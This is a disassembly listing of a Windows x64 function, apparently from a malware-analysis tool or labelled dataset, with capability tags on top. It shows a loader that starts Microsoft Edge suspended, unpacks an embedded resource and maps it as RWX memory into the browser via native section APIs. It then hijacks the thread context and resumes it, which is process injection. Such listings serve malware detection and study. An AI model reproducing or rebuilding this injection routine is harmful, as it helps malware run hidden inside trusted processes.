Function at 0x1400013a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Extract resource via kernel32 functions
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x30], rax
xor r12d, r12d
lea ecx, [r12 + 0x68]
call fcn.140001d00
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
mov dword [rbx], 0x68
mov dword [rbx + 0x3c], 1
lea ecx, [rax + 0x18]
call fcn.140001d00
mov r15, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rax
movaps xmm0, xmmword [str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm1, xmmword [0x140003430]
movaps xmmword [rbp - 0x40], xmm1
movaps xmm0, xmmword [0x140003440]
movaps xmmword [rbp - 0x30], xmm0
movaps xmm1, xmmword [0x140003450]
movaps xmmword [rbp - 0x20], xmm1
movaps xmm0, xmmword [0x140003460]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm1, xmmword [0x140003470]
movaps xmmword [rbp], xmm1
movaps xmm0, xmmword [0x140003480]
movaps xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x140003490]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x140003498]
mov dword [rbp + 0x28], eax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea edx, [r12 + 0x65]
xor ecx, ecx
lea r8d, [r12 + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.1400019b0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.1400011c0
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.NtCreateSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, str.NtMapViewOfSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rcx, qword [rsp + 0x70]
sub rcx, qword [rsp + 0x68]
mov dword [rbp - 0x80], ecx
xor eax, eax
mov dword [rbp - 0x7c], eax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp - 0x80]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rsp + 0x58]
call rdi
mov qword [rsp + 0x50], r12
mov qword [rbp - 0x78], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call rsi
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
sub r8, rdx
mov rcx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x60], r12
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x60]
mov rdx, qword [r15]
mov rcx, qword [rsp + 0x58]
call rsi
mov ecx, 0x4d0
call fcn.140001d00
mov rbx, rax
xor edx, edx
mov r8d, 0x4d0
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov dword [rbx + 0x30], 0x100002
mov rdx, rbx
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x60]
mov qword [rbx + 0x80], rcx
mov rdx, rbx
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rsp + 0x50]
call r14
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140001707
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d3c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r12
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140001745
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001740
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001740
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d3c
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140001ce0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret